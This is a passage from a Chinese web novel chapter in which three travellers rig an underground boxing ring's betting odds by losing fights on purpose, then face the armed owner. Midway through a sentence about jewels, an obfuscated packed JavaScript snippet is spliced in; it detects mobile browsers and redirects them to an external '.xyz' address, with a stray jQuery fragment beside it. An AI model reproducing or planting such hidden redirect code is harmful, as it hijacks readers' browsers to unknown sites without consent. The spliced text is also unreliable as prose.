“这样吧,我们先去吃饭,然后再卖点首饰就行了。”昨天晚上聊了太久,又一直没吃东西,她感觉已经饿的不行。 从小镇的边缘穿行回主街上,他们才发现这里远比想象中热闹多了。 穿着褪色工装的矿工们刚刚下夜班,他们三五成群,脸上还带着煤灰的痕迹,尽管疲惫,但交谈时的笑声洪亮而质朴。女人们则是提着篮子穿梭于摊贩之间,讨价还价的声音与商贩的叫卖交织在一起。路边的店铺堆着粗布,铁器以及各种手工艺品。 小吃摊上有热气腾腾的面包和烤得焦香的肉肠,油脂滴在炭火上,散发出诱人的焦香。 走在路上,里奥尼德想起刚才那个老板的话,他对伊琳娜说道:“我觉得,你的首饰还是别卖了,你那些一看就不是该出现在边陲小镇上的东西,万一把我们抓了怎么办。” 伊琳娜盯着那些美食,已经没心思听他说话了。 他们走进了一间看起来干净整洁的餐馆,那店里的招待年纪不大,也就十三四岁,很机灵,立刻就跑出来帮他们把马牵进马厩里。 看着男孩蹦跳着抱起喂马的稻草,倒进食槽里,萨哈良想起刚下山时,替他牵马的那个厨子。 “你们是外地来的吧,想吃点什么?” 选好靠近窗户,阳光充足的位置,刚一坐下,老板就走了过来。 “萨哈良,你想吃什么?”虽然很饿,但伊琳娜还是记得让萨哈良先挑自己喜欢的。 萨哈良也不清楚,他不知道田人们都会吃些什么东西,但老板看出来他的窘迫,给他们念着菜式:“早饭有馄饨、面包、包子、奶酪煎饼、燕麦粥,可以选择加酸奶油或者黄油。” 老板指了指柜台的方向,说:“要是愿意多花点,也有鱼子酱,还有自家酿的酒。” 里奥尼德凑了过去,小声问道:“这个私酿酒......您指的是啤酒还是伏特加?” “当然是伏特加!谁大早晨喝啤酒,喝得涨肚睡不着觉。”老板不理解里奥为什么会问出来这种问题。 “您不怕被抓吗?”里奥尼德明确记得,私人酿制蒸馏烈酒是违法行为。 但他说的这话给老板逗笑了,他说:“您说话真有意思......这儿又不是首都,神父和公司才是这儿的皇帝。” 老板说完,指了指窗外对门的那家店,房檐下面正挂着一个硕大的标志。 “伊琳,那不是你父......”随着老板指的方向,他们看了过去。里奥尼德刚想说话,就被伊琳娜狠掐了一下胳膊。 萨哈良想了一会,他对馄饨和包子更感兴趣,因为这两种东西发音奇怪,听起来不像是帝国的食物。 伊琳娜点了一份燕麦粥,里奥尼德则是选了奶酪煎饼,看来他是真爱吃这个。 “这边还挺有特色的,估计是靠近边境,他们吃的东西风格有点东西方混搭。”里奥尼德也注意到那些名字奇怪的食物了。 “里奥,记得别在提公司的事了,不可能找他们帮忙的”伊琳娜看着窗外那家店,小声对里奥尼德说。 萨哈良不知道她在说什么,只是看着标志上那个抽象的符号。 正在他们大快朵颐的时候,饭馆的木门被猛地推开,撞响了门楣上的铜铃,发出一串急促的叮当声。 那是一伙刚下夜班的矿工,面孔被石粉染成白色,只有眼睛和偶尔咧开笑时露出的牙龈显得格外醒目。厚重的靴子沾满泥泞,踩在地板上发出沉闷的声响,打破了饭馆里原本仅有萨哈良一行人用餐的宁静。 “老板!来点够劲儿的!能把喉咙点着的那种!”看样子今天付钱的是工头领班,他身上要干净不少,穿着深蓝色的制服,正吆喝着向老板要酒。 那领班也注意到一旁用餐的外乡人,尤其是多看了几眼伊琳娜。毕竟哪怕是只穿着衬裙,她也让这间小小餐馆蓬荜生辉。 “他们怎么一大早就喝酒?”里奥尼德没见过这么粗陋狂放的早餐,小声的和萨哈良与伊琳娜交头接耳。 但马上就被端上茶水的老板听到了:“他们是夜班工人,喝醉了回去能睡个好觉。不然身体太过劳累但脑子还兴奋的时候,是睡不着的。” 里奥尼德点点头,他能明白老板说的话。 工人们嗓门很大:“前天那场怎么样?你他妈的押对了吗?那个大个子,看起来能一拳打死一头熊!” “熊?纸糊的吧!被我们矿上那个小个子茨冈人,诨名小旋风,第三回合一记勾拳就放倒了。” 那人说完,伸出五指比划着:“我押了十个银币,翻了两倍!” 这时,萨哈良看见旁边的墙上贴着一张花哨的纸,上面画着两个举着拳头的男人,其中一个像是胜者,正露出自己洁白的牙齿。 里奥尼德也注意到了,他也扭着头,盯着那张海报看。 “里奥,怎么样,我们要不要试试?” 萨哈良学着海报上的动作,举起拳头,对里奥尼德说道。 “不行,那是赌博!”伊琳娜颇有原则,试图阻止他们的奇思妙想。 鹿神听她这么说,笑着回答到:“伊琳是怕你们太菜,上去丢人。” “伊琳是怕咱俩输。”里奥尼德捂住嘴,无视伊琳娜的阻止,小声对萨哈良说:“我在军校的时候,虽然体能训练成绩不如理论,但也是名列前茅的。” “我们可以用别的办法,卖点首饰就行了,堂堂世袭贵族要亲自下场吗?”伊琳娜仍旧不同意,但她回想起里奥先前的话,她带来的那些珠宝,里面尽是些鹌鹑蛋大小的祖母绿,宽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260259|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的黄金链,或者是些宝石戒面,上面还雕刻着家族纹章。 恐怕卖了的话也只能惹来麻烦,要是能不起冲突,可能赌拳确实是好办法。 里奥尼德想出了主意,他说:“这样,一会我跟萨哈良先打一次,让你看看实力。” 伊琳娜看着正兴奋的聊着拳击和摔跤的两个人,叹了口气,显然自己是拦不住他们的。 “没事,伊琳,等下给你见识见识部族的力量。”鹿神盯着拿他们毫无办法的伊琳娜,她没忍住又打了个喷嚏。 吃完早饭后,他们一头扎进僻静的巷子里,最后找到了一片有柔软沙土的空地,上面的痕迹似乎是小镇的孩子们玩耍的地方。 里奥尼德脸上带着笑意,他自信于在军校和军营里得到的体魄与技巧,优雅地向萨哈良弯腰示意。萨哈良也学着他的动作,同样向他鞠躬。 伊琳娜正靠在小巷的墙边,漫不经心的瞥着天上的云彩。 “承让了,萨哈良。” 两人互相点头,随后里奥尼德一拳直奔萨哈良的面门就挥击打过去。 “好家伙,这罗刹小鬼想玩真的啊!”这一拳把鹿神也吓到了。 但萨哈良从小在山野之中上蹿下跳练就的灵活,岂是拳头能轻易打中的。里奥尼德每次挥动手臂,都被萨哈良以灵活的步伐躲避,就像一条光滑的泥鳅。 僵持中,里奥稍微有些气喘,那宽容的笑变得有些挂不住。他发起一次决定性的进攻,试图将少年整个抱起摔向地面。就在他发力的一刹那,少年动了。 “这......” 发现情况不对劲的伊琳娜也盯着他们,原本她以为萨哈良赢不了里奥尼德,毕竟里奥在军校的成绩有目共睹。 起初,里奥确实占据了上风,用有力的手臂锁住少年的肩膀,试图用标准的摔跤技巧将他扳倒。少年的身体却异常灵活,像水中的鱼,总能以微妙的角度卸掉力量,脚下仿佛扎根于大地。 突然,萨哈良格挡住里奥尼德试图擒住他的双手,顺势向前贴进里奥的怀中。 萨哈良没有选择硬抗,而是顺着里奥的力量猛地向下沉身,一只手巧妙地攥着后脖领,一只脚如同闪电般绊住他发力腿的脚踝。这就是来自森林与荒野,为生存而生的古老技巧,近乎于人类的本能。 里奥尼德只觉得天旋地转,一股巧力彻底破坏了他的平衡。他沉重的身躯竟被一个看似瘦削的少年掀了起来,然后结结实实地摔在了坚硬的空地上。 一声闷响后,尘土微扬。 鹿神在旁边嘲笑着里奥:“这下知道是谁不行了。” “你怎么做到的,他那么高!”伊琳娜惊讶的看着他们。 此时萨哈良已经按住里奥尼德的脖子,骑了上去,双腿死死夹住他的胯部,左手则是本能的摸着腰间的匕首,随时准备终结猎物的性命。 看到伊琳娜在看着他们,萨哈良耳根一红,连忙从他身上站了起来。但里奥尼德伸手一把抓住了他的胳膊,说:萨哈良,你快教我这个! 他还是一如既往的,关于萨哈良展示出来的新奇事物,每一个都想学。 白天没什么别的安排,他们两个人就一直在沙地上练习摔跤技巧,为晚上去地下拳场赢钱做好准备。伊琳娜则是坐在餐馆的座椅上,就着一壶茶,静静写着自己的小说。 直到夜幕即将降临,他们才出发前往海报上写的地址。 夕阳的余晖给那些粗陋的建筑,和远处光秃秃的山峦都镀上了一层不太真实的金红色,但很快就被各家店铺和摊贩点燃的灯火所淹没。和刚一进小镇的感受不同,这里似乎曾经也辉煌过,有些房屋设计得和黑水城同样精美,甚至通了电,偶尔能看见些歪斜的电线杆。 “今天不宵禁吗?怎么街上这么多人。”里奥尼德回想起昨天来的场景,此时喧闹的大街反倒显得怪异了。 不过下午在饭馆写作时,伊琳娜都已经打听过小镇的情况:“饭店老板跟我说,今天是礼拜日,取消宵禁。” 街道上摩肩接踵,热闹非凡。刚刚下工不知道第几班的矿工们,脸上同样扑满了白色的石粉,有些还蹭着红褐色的矿渣,正从各个巷口涌入主街。他们粗声大气地交谈着,迫不及待地涌向那些亮着昏黄灯光的小酒馆和流动摊贩。 他们跟着那些吃饱喝足的工人来到了一栋高大的,好像剧院一样的建筑前。尽管已经被矿区糟糕的空气笼罩着,煤灰污染了不知道原本是什么颜色的墙面。 “就是这里吗?怎么看着像歌剧院?”伊琳娜有些诧异的打量着大门,两旁站立着看守,他们穿着和早上那位领班同样的深蓝色制服。 这时,屋里有两个人驾着一名明显是矿工穿着的人,把他扔了出来。 “求求您,借我点钱吧!我下一把能赢回来!”那名矿工跪在地上,眼睛红肿布满血丝,恐怕已经在这呆一天了。他双手合十,苦苦哀求着看守再让他回去下注。 但那强壮的守卫只是朝他啐了一口,说道:“你欠的够多了,明天回去看看你老婆孩子还在不在吧,等到日子都给你卖了。” 说完,他们大笑着返回了屋里。 鹿神观察着四周,他隐隐感觉不对劲,但不知道问题出在哪里。毕竟里奥尼德和伊琳娜实在与这里格格不入,他们今天已经被盯了一路。 “等下开打的时候,机灵点,多观察四周。”鹿神也只能这么嘱托萨哈良了,他还是很愿意看到少年在外面为部族打出威风。 看着那矿工黑漆漆的脸,他无疑是刚下工就来赌钱了。伊琳娜抱起双手,对里奥尼德说:“你确定还要赌吗?” “赌,当然要赌,我和萨哈良这么强!肯定威震远东!”里奥尼德拍拍自己的胳膊,拉着他们走了进去。 37.渡鸦、雄狮与雪鼬 昔日剧院辉煌的残骸,如今被改造成了血腥与欲望的巢穴。在拳场入口处,破损的大理石柱和剥落的金漆仍在诉说着过去的繁华。 原本的舞台和观众席都被铲除,仅保留着包厢,或许是为某位大人物准备的。场地中央是个简陋的土台,周围用木头和绳子围了一圈。顶上吊着几盏摇晃的白炽灯,昏黄的光线勉强照亮台子,即便是四周墙壁上的灯火也点亮了,仍然在屋内留下足够藏污纳垢的角落。 随着夜幕降临,小镇的居民们陆续涌入。但从那些人带进来的汗臭和烟味,以及疲惫的面容也能看出,这并不是什么品味高尚的场所。 他们三人挑选了一个位于角落的圆桌,拿着酒杯等待比赛开始。 “你们打算怎么赚回马车钱?”伊琳娜看着两位跃跃欲试的男士,提出了一个看似简单的问题。 萨哈良自信的表示:“用拳头!” 听他这么说,里奥尼德也笑着说道:“没错,用拳头!” 伊琳娜摇摇头,她指向远处拳台下的长桌,对他们说:“你们看见那张桌子了吗?他的桌子上有一排记分卡,左边那个是胜率,右边那个,则是赔率。” “赔率的意思就是,你下注的那一方最终能赢多少钱,为了赚钱这个数额不会太高,它会始终计算在能让赌场老板盈利的程度。”伊琳娜仔细为大家解释着。 “赔率?这里的赔率竟然不是固定的吗?”里奥尼德想起在军校打赌时的场景,那时他们都是固定下注金额的。 萨哈良则是完全不懂,他甚至没听明白赔率这个词。 伊琳娜叹了口气,说道:“按你的想法,赌场早赔干净了。” 她拿出纸和笔,示意大家围过来。 “怎么,伊琳不是说不想让我们赌吗?现在要全力以赴了?”看着伊琳娜认真的样子,里奥尼德笑着揶揄道。 “废话,我不想再骑马了,我要坐马车。”她拿起笔,在上面开始计算。 “首先,我们有15枚银币作为本钱。如果按正常的赌法,就算你们全赢,届时赔率会非常低,我们最多只能拿到30枚银币。”伊琳娜飞快的在纸上算着赔率,想要找出一个利益最大化的办法。 里奥尼德明白了她的意思,说:“也就是说,我们得打假赛。” “假赛?就是说我们要输吗?”萨哈良疑惑的问。 听见要让萨哈良输,鹿神露出了不满的表情。 “没错,那边墙上的赛程表里写了,你们上场可以打五把,而且不是固定对手,随机的。”伊琳娜指着墙上的表格和桌子上的抓阄罐。 里奥尼德盯着那些赌徒,他们正在热火朝天的聊着今天的参赛选手。“我懂你的意思了,也就是说我们要想办法操控赔率。” “是的。” 伊琳娜打量着场地里的那些赌鬼们,他们也发现了角落里坐着的这位优雅美丽的女士,正疯狂的投来贪婪的目光。她感到不安,但还是不动声色地调整了一下坐姿,试图将那种令人不适的注视转化为一种可被利用的武器。 她飞快的在脑海中构思着一切可能的方案,经过计算,这十五枚银币在不停增值着,最终将变成一辆马车,停在他们面前。 “这个计划对于你们只有一个难点,那就是,输得像一点。”伊琳娜给他们讲解清楚计划的细节,着重嘱咐了关键之处。 里奥尼德点点头,他对萨哈良说:“你不许再用那招了,装的笨一点。” 萨哈良不知道自己能不能做到,毕竟他的反应已经是肌肉记忆了:“我努力,应该可以。” 伊琳娜的计划不仅精妙,而且极其有想象力,让萨哈良非常佩服,他接着说:“伊琳娜姐姐太厉害了,到底是怎么想出来这个计划的?” “哈哈哈哈,谢谢你。我的家族原本就是经商发家,这些把戏早就见过了,我只是在赌这里没人有这种经验。”伊琳娜很开心有人夸奖这个计划,她伸手过去轻轻摸了摸萨哈良的头。 但里奥还是很担心伊琳娜独自一人坐在角落的圆桌前,他解下藏在衬衣里的手枪,悄悄按在了伊琳娜手中:“你拿好枪,情况不对我们就来帮你。” “没事的,你们加油。”伊琳娜接过手枪,偷偷藏在了衬裙的下面。 伊琳娜又向萨哈良伸出手,说:“还有你的刀,不能带到场地。” 萨哈良解下刀鞘,递了过去。 说完,两人就前去做选手登记了。 伊琳娜长叹一口气,她也不知道自己的计划究竟能不能成功实施,心脏正在怦怦直跳。她垂下眼睑,指尖在杯壁上无意识地划着圈。计划的每一个步骤在她脑中飞速流转,推演,再重组。一种冰冷的兴奋感缓慢扩散,但胃里却像坠着一块石头。 她将杯中的啤酒一饮而尽,努力平复心情,随后掏出包里的名贵香水在身上重重的喷了几下,那来自于深海的龙涎香此时正像林中盛开的华美花朵,吸引着在场每一个人的注意。 最后,伊琳娜优雅的挑起手指,夹起一支细长的香烟。她看向身旁的服务生,又注意着一直偷偷瞥她的年轻人。她深呼吸,鼓起勇气,说:“先生,能跟你借火柴吗?” 无论是场上随时更新的动态赔率,还是选手登记时的检验过程,都显示着这个拳场并不像看上去那么简陋。他们要求两人脱掉上衣,检查有没有携带武器,又仔细量着他们的身高体重,甚至包括身上的肌肉量。 这让两人更加紧张,不是担心打不过,而是担心被人识破。 萨哈良四下张望着,发现鹿神并不在身旁,而是站在了伊琳娜身边。他看过去的时候,鹿神还伸手向他打招呼,兴许是担心伊琳娜自己一个人遭遇危险吧。 “紧张吗?”里奥尼德拍了拍萨哈良的肩膀。他们两个人赤裸上身,坐在长椅上等待登记。 萨哈良摇摇头,其实感觉还好,他只是怕记不住伊琳娜的安排。 “你们两个,有外号吗?”登记人员头也没抬一下,只是拿着本子问他们。 “外号?还要起外号吗?”他们没想到还有这个步骤,疑惑的问道。 “不然呢?你们打算直接报本名?赶快想一个!”登记人员这才像翻白眼一样瞥着他们,没想到还有人不知道地下赌拳的规矩。 里奥尼德想了想,说:“要不就叫......叫狮子算了。” “我想想我叫什么......我叫雪鼬吧!” 登记人员没理会他们,自言自语的说道:“你们这名字太普通了,没看点,改成......”那人想了想,然后写上:“就叫......烬鬃狮王和瞬影的雪鼬!” 他们两人被吓了一跳,说:“什么东西?” 拳场的工作人员没给他们修改的机会,快速用笔把他们的诨名写在布带上,让他们系在腰间。 尽管伊琳娜依旧坐在圆桌前,但落座到她身边的人已经越来越多,为她买酒买小吃的人也越来越多,酒杯和食物几乎快把桌子占满了。那些年轻人或者中年人无一不被她美丽的容貌或者优雅的举止所倾倒,毕竟远东的小镇可无处得见这样的风景。 “美丽的女士,我想问您,刚才的那两名男士是您的朋友吗?”有位胆大的年轻人主动开口,他举着杯子凑到伊琳的身边。 伊琳娜伸出手,想弹烟灰,立刻就有只手将烟灰缸递了过来。 “没错,两个傻小子,在旅途中认识的,非要拉我来拳场见识见识他们的肌肉。”伊琳娜表现出讨厌他们的样子,拿起啤酒轻轻喝了一口。 见这美丽的女士并非拒人于千里之外,身旁那些跃跃欲试的人们也凑上前去。 “我们小镇的男人可是万里挑一,既是强壮无比,又疼爱老婆,小姐可要抓住机会啊!”坐在隔壁桌一名秃顶的中年男人拿着酒杯伸了过来,他脸上的红晕就像是冻伤了一般,伊琳娜忍住嫌弃,也拿起酒杯和他碰了一下。 听见那中年男人的话,伊琳娜闭上眼睛,其实白眼已经翻上天了。 “对了女士,您要不要也下一注玩玩?跟我买!我总能赢!”刚才那位胆大的年轻人和伊琳娜提议。 很好,快要上钩了,伊琳娜在心里暗自想着。 周围的人们并不认同,纷纷说道:“别听他的,他老输,还是跟我买吧!” 伊琳娜翘起手中的香烟,轻轻放到嘴唇边,吸了一口说道:“我家教严,不让我赌。”她将烟气吐出,伴随着香水的味道,飘散出去,似乎让周围的空气都笼罩上一层朦胧的氛围。 “但是,如果我能赌的话,我就押给对面,看见他们两个就烦!” 就在她说出这句话的时候,人群发出欢呼。拳台上的灯光全部亮起,里奥尼德和萨哈良已经做好准备,粉墨登场。 萨哈良看着台下那些黑压压的人影,当然,他们大多围聚在伊琳娜身边。人们有的坐在圆桌前,有的坐在吧台旁,或者更直接地踩着椅子,簇拥在舞台边缘,声嘶力竭地吼叫着。偶尔灯光扫过高处的包厢,能看到几个衣着相对体面的人物隐没在阴影里。 “让我们欢迎来自黑水城的银行职员——烬鬃狮王!” 解说兼报幕员高高的举起了里奥尼德的手,他正好看见伊琳娜听见这个尴尬的名字,差点被啤酒呛到。 “还有来自白鹿镇的英勇农夫——瞬影的雪鼬!” 他又握住萨哈良的手举了起来,那边的鹿神可是一点都不掩饰,笑的都快把桌子锤翻了。 “他们将对阵的是——獠牙和血拳!” 从刚才他们两个可笑的名字中缓过来,伊琳娜冷静地观察着身旁的那些人。他们有的还不清楚里奥尼德和萨哈良的底细,可能会被里奥的身高和肌肉将赌注吸引过去。不过不能着急,当前的情况已经很完美了。 场内的人已经拿着本子走过来,四周的人纷纷下注,大约仍有四成的人押在了里奥和萨哈良身上。 伊琳娜远远望去,工作人员停止下注后,将金额报给那三名会计员。很快,他们就计算好赔率了。 拳台中央,白炽灯将摇曳的光斑投在两张汗湿的脸上。对手那两名听上去唬人的选手不过是两名中年农夫,很快就被他们击败了。 里奥尼德作为贵族军官的优雅在这场混斗中显得格格不入,他呼吸急促,额角渗出细密的汗珠,精心打理的短发有几缕散乱地贴在额头。那件质地良好的衬衫肩膀处已经被撕开一道口子,沾满了对手倒地时带起的灰尘,但他动作间丝毫不见生疏或痛苦。 在他身旁,部族少年萨哈良微微弓着身子,做出力竭的姿态,胸膛快速起伏,眼神却锐利地扫过台下。他的外套上多了几处脏污,仿佛刚刚惊险地避开了几次重击。 但实际上,两人的疲态全是为了装成新手才显露出来的。 “祝贺烬鬃狮王和瞬影的雪鼬获得胜利!准备下一轮!”裁判举起他们的手,向观众宣布胜利。 从拳台下来的时候,萨哈良忍不住揶揄里奥:“你刚才差点被撂倒那下不像演的。” “嘿,我不就是被你摔过一次吗?怎么还讽刺我。”里奥尼德笑着狠拍了一下萨哈良的肩膀。 与此同时,伊琳娜那边的情况可就要棘手多了。 “小......小姐,您不是说全押对面吗?”刚才那位年轻人太急于获得伊琳娜的青睐,果然都押到对面去了。 伊琳娜啜饮了一口啤酒,笑着说道:“别急呀,刚才那两个虽然名字很帅气,但不过是农夫而已,怕是我上去都能赢。” 她指着远处的黑板,接着说道:“你看那个赔率曲线,赢了这么一把才涨了一点点,可见这不能算什么强敌。” 刚才隔壁桌的那个中年人也过来捧场:“你看这位美丽的小姐都比你聪明,反正下把我是要押对面了。” 说完,他又指着正在休息的里奥尼德和萨哈良说:“你别看那傻大个好像肌肉多,他脚步轻浮,腰劲松软,也就那个小矮个农民还像个样子。” 这么一来二去,算是稳定住了身边那些赌鬼了。 但第二把开始下注时,伊琳娜仔细盯着赔率曲线。也许是因为上把获胜了,许多看不懂打拳的赌徒依旧押给了里奥和萨哈良,场内至少五成的资金都流向他们两人了。能否一锤定音就要看这一场了,他们可千万不能露馅。 “我可不能找这样的郎君,说起来,家里倒是一直催我的婚事呢。”伊琳娜恰到好处的火上浇油,身边那些男人像打了鸡血一样,纷纷上来献殷勤。 随着比赛的进行,拳场内的气氛也越来越火热。服务生穿梭于人群之中,为大家添上啤酒或是送来小吃。有些人在高声争吵着谁才会是今晚的冠军,有些人则是认真计算如何下注才能收回本钱。 “第二轮!我们英勇的烬鬃狮王和瞬影的雪鼬即将对阵的是!”解说卖了个关子,随后灯光亮起,照到敌人身上,“茨冈人“小旋风”和来自南方帝国的九龙落!” 那两人身上结实的肌肉可不再是先前羸弱的农夫了,这些人都是天天挥动矿镐的工人,身上力大无穷。 萨哈良和里奥互相对视了一会,毕竟,接下来就要一直挨揍了。 里奥尼德格外注意不能让人看出军队的训练痕迹,导致他的动作看起来有些凌乱,皮靴上沾满了泥泞,呼吸刻意显得更加急促。每一次格挡都似乎慢了半拍,每一次反击都恰好被对手避开。他的眉头紧锁,扮演着一名陷入苦战又力不从心的新手。 这时,那小旋风一拳直冲面门而来,里奥微微后撤一步,用额头接下了那一拳。 他身旁的萨哈良,动作依旧迅捷,却总在关键时刻失手,足以绊倒壮汉的扫腿不慎踢空了半步,让自己失去平衡,踉跄了一下。他的脸上露出急躁,喉咙里发出被压制般的低吼,完美演绎了一个空有速度却缺乏经验和力量的少年。 但他们的对手可是越打越亢奋。观众们的吼叫声几乎要掀翻屋顶。 “我宣布!这一局!小旋风和九龙落获胜!” 里奥尼德挣扎着爬起来,脸上带着恰到好处的不甘。他走到萨哈良身边,弯下腰,将少年搀扶起来。萨哈良靠着他,像林野中一只受惊的小鹿,他将一条手臂搭在里奥肩上,低着头,仿佛无法面对失败。 “废物!浪费老子的钱!” “我就说这小白脸和瘦猴不行!” 唾骂和嘲笑开始从四周涌来,里奥尼德适时的朝伊琳娜投去了一个深情的眼神,让那些赌徒看了更是生气,谩骂声一直跟到了休息区。 “你们看,我就说他们很招人烦吧!”伊琳娜始终在找机会悄悄煽风点火,人群再次沸腾了。 那些跟着伊琳娜买对面赢的赌徒们赢了钱,一杯又一杯的啤酒送到她的桌子上。看着那些疯狂的男人们,鹿神紧紧将伊琳娜护在座位上,不过并没有发生什么,因为此时他们是在看着胜利女神。 接下来的发展就毫无悬念了,里奥尼德和萨哈良已经找到装成新手的窍门,他们一遍又一遍的被敌人狠狠摔在地上,就这么接连输了两三场。 伊琳娜猜测也差不多到时候了,她又拿出一根香烟,旁边瞬间伸过来七八根燃烧的火柴,沙龙的女王变身成为赌场的女皇。此时里奥和萨哈良的赔率曲线几乎变成一根直线,直直的指向黑板的边缘。 全场的资金都流向对手了,哪怕是叫镇子卖蜂蜜水的老太太来,也没人再买他们两个赢了。 “差不多行了,你们两个,新手就不要出来丢人了。”拳场的管事见比赛已经失去悬念,叫卫兵上去把他们两个拽下来。 这时再押给对面,哪怕一千枚银币,也只能赚一杯酒钱。 里奥尼德和萨哈良的外衣都被扯烂了,他们的胸前布满了对手手指留下的红色血痕。卫兵拉扯着他们,但里奥的腿死死向前挪动着,始终不愿意离开拳台。 “我恳求给我一次机会!我这是为爱情而战!这一切都是为了献给那位美丽的女士!” 里奥尼德大喊着,众人的目光都跟随着他投向伊琳娜,所有人都在期待着她的回应。 但伊琳娜在众目睽睽之下,以全部人都能听见的声音,发出了轻蔑的嘲笑:“就凭你们?别再给我丢人现眼了!你们那点三脚猫的功夫,连给对手提鞋都不配!我真是瞎了眼才会给你们纠缠我的机会!” 一时间场内嘘声一片,人们甚至把吃剩的食物都扔了上来。萨哈良焦急 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里奥尼德点点头,借十银币给九银币还十三银币嘛。 “给我十五枚银币,我全押给自己。”里奥憋着口气,恶狠狠的说道。 伊琳娜赶紧趁热打铁,她又低头对身边讨好她的赌徒们说:“看着吧,我的眼光从来不会错。这两个废物怎么可能赢?” 她的公开背叛让里奥尼德和萨哈良变成了众人眼中的小丑。 先前那名年轻人的眼神里除了爱慕,还多了几丝崇拜。借着酒劲儿,他单膝跪在地上,温柔又深情的对伊琳娜说道:“聪慧又温柔的女士,我要把全部的银币都押到对面。结束之后,我可以邀请您共度晚餐吗?” 听到已经有人率先出手,身边那些男人全都凑了上来,给伊琳娜开出了各种条件。 为了证明自己和她站在同一战线,赌徒们疯狂地加倍下注给对手。他们都坚信这不仅能赚钱,还能赢得美人的青睐。 远处的会计们也懒得再算了,他们都等着看热闹。赌场的黑板上,流向对手的资金呈现出一条垂直上升的曲线。由于几乎没有任何人押他们赢,里奥尼德和萨哈良的赔率也被推到一个不可思议的高度,两条曲线交相辉映。 “萨哈良,做好准备,接下来这场才真正开始了。” 里奥尼德低声嘱咐着少年,已经忍了太久,他的声音都微微颤抖了。 “接下来,为爱而战的勇士们!对战——远东最强的职业拳击手!碎颅和绞肉机!”解说员兴奋的向众人宣布,卖酒的服务生已经忙不过来了,他们干脆将酒桶都滚到了拳台下面,直接用杯子舀。 灯光再次在拳台上摇曳,今晚,这拳场迎来了它的王者,两名远东知名的职业拳手。他们的每一次呼吸都让胸肌像山峦般起伏,裸露的胸膛上布满了纵横交错的旧疤。 站在他对面的,是显得近乎纤细的里奥尼德和少年萨哈良。观众们的吼叫几乎一面倒地压向职业拳手。 铃声一响,风暴骤起。 他们像一头巨熊般扑来,另外一人从侧翼包抄,封堵所有闪避空间。最初的几分钟,里奥和萨哈良似乎完全被压制,只能在狂暴的攻势下狼狈躲闪。 里奥尼德的衬衫彻底撕烂扔在地上,萨哈良也被一记重拳擦过脸颊,留下了一道红痕。台下爆发出嗜血的欢呼。 转折在一次精妙的配合中爆发。 对方又一次冲刺被里奥尼德用一个极险的侧身滑步引开,巨大的惯性让那人向前踉跄了半步。就在这瞬间的空档,一直寻找机会的萨哈良如同山猫般切入,快速下沉身体,伸出腿用出全力一记横扫,狠狠踢在另一个正想扑上来的壮汉身上。 沉闷的撞击声和一声痛吼同时响起,那壮汉膝盖一软,倒在地上。 几乎在同一刹那,里奥尼德也不再是躲避,他趁着对方搭档倒下注意力分散的时刻,完美地击中他因冲刺而没来得及防护的下颚。 时间仿佛凝滞了一秒,台下震耳欲聋的喧嚣戛然而止,整个地下拳场陷入了一种难以置信的死寂。 刚才那名年轻人拿着酒杯的手颤抖着,酒洒到裤子上也不自知。他震惊的眼神向伊琳娜看过去,但伊琳娜并没有再看他一眼,只是盯着里奥尼德和萨哈良。 首都的沙龙上多是些激进的知识分子,人们会真诚赞扬伊琳娜的学识。但在这里,赌徒黏腻而贪婪的目光大多不怀好意,身处其中让伊琳娜想要干呕。但好在,最终计划成功实施,还是大获全胜了。 在他们精彩的演出下,赔率变成1赔25,他们将获得三百多枚银币。 “假的!都是假的!这巫婆跟他们是一伙的!”刚才坐在隔壁桌的,一直恭维伊琳娜的中年男人突然起身,指着她大喊大叫。 赌徒们听见他的话,开始从震惊中反应过来,每个人都意识到在这些外乡人的操纵下,兜里的银币全都到了他们手里。 里奥尼德的脚步虚浮,和萨哈良刻意的攻击落空,伊琳娜持续不断的煽风点火,此时看来都是欺骗他们的手段。 瞬间,疯狂的人群如同决堤的洪水,向伊琳娜汹涌而来。一时间椅子被他们撞开,酒瓶也飞了过去。 那名年轻人还没有想明白,只是沉浸在刚才的惨败中。他抬起头,布满血丝的双眼难以置信的死死盯着伊琳娜。 场内维持秩序的卫兵一拥而上,里奥尼德和萨哈良知道情况不妙,连忙从拳台跳下,将伊琳娜紧紧护在身后。 “很好,很好。” 这时候,从通往包厢的侧门,走出了一位留着寸头的壮汉。那人身材高大,穿着做工精美的马甲,看起来是拳场的老板,手中还拿着正燃烧着的雪茄。 “精彩的表演。”那人开口了,甚至带着点欣赏的语调,但他的目光却毫无笑意,“真是......太精彩了。每一步都算计得恰到好处,每一次挨打都那么逼真。连我都差点被你们骗过去了,真的。” 拳场老板大摇大摆的走了过来,他身后的卫兵将他簇拥在中间。 “你们让这女人,挑拨在场的这些男人们,然后不断操纵赔率,我猜的没错吧。”那名壮汉皮笑肉不笑,只是盯着他们。 伊琳娜悄悄摸出藏在衬裙下的手枪,打开了保险,又把萨哈良的匕首握在手里。 “卫兵,把这女人带走。”那人说完,又瞥了一眼里奥尼德和萨哈良说:“这俩男的,弄死吧。” 萨哈良手疾眼快,趁他们没反应一把拔出了伊琳娜递过来的匕首。但那些卫兵也不遑多让,立刻举起了手中被锯短的猎枪,那粗大的枪口仿佛能击碎棕熊的头骨。 “我警告您,先生,对世袭贵族动手是重罪,要判处极刑的。”伊琳娜向他们发出警告,但谁也没理会她。 拳场老板冷笑着说了一声:“你们看起来气质不俗,确实像个贵族。但那又怎么样呢?我就算在这把你们都杀了,谁又能知道呢?” 萨哈良看到鹿神角上的金线再一次缠在了那些卫兵的脖子上,他正慢慢将面具盖在脸上。 “少年,看来这人是非杀不可了。”鹿神阴沉着嗓子说道,这屋里人员密集,一旦神灵大开杀戒恐怕谁也活不成了。 整个场子鸦雀无声,所有观众都屏息看着他们,空气中弥漫着比任何拳击比赛都更危险的紧张感。卫兵离他们越来越近,伊琳娜的手指已经放在了扳机上。 里奥尼德摸出了裤袋里印着家族徽记的戒指,亮在老板面前说道:“你确定要对帝国——” “砰!!!” 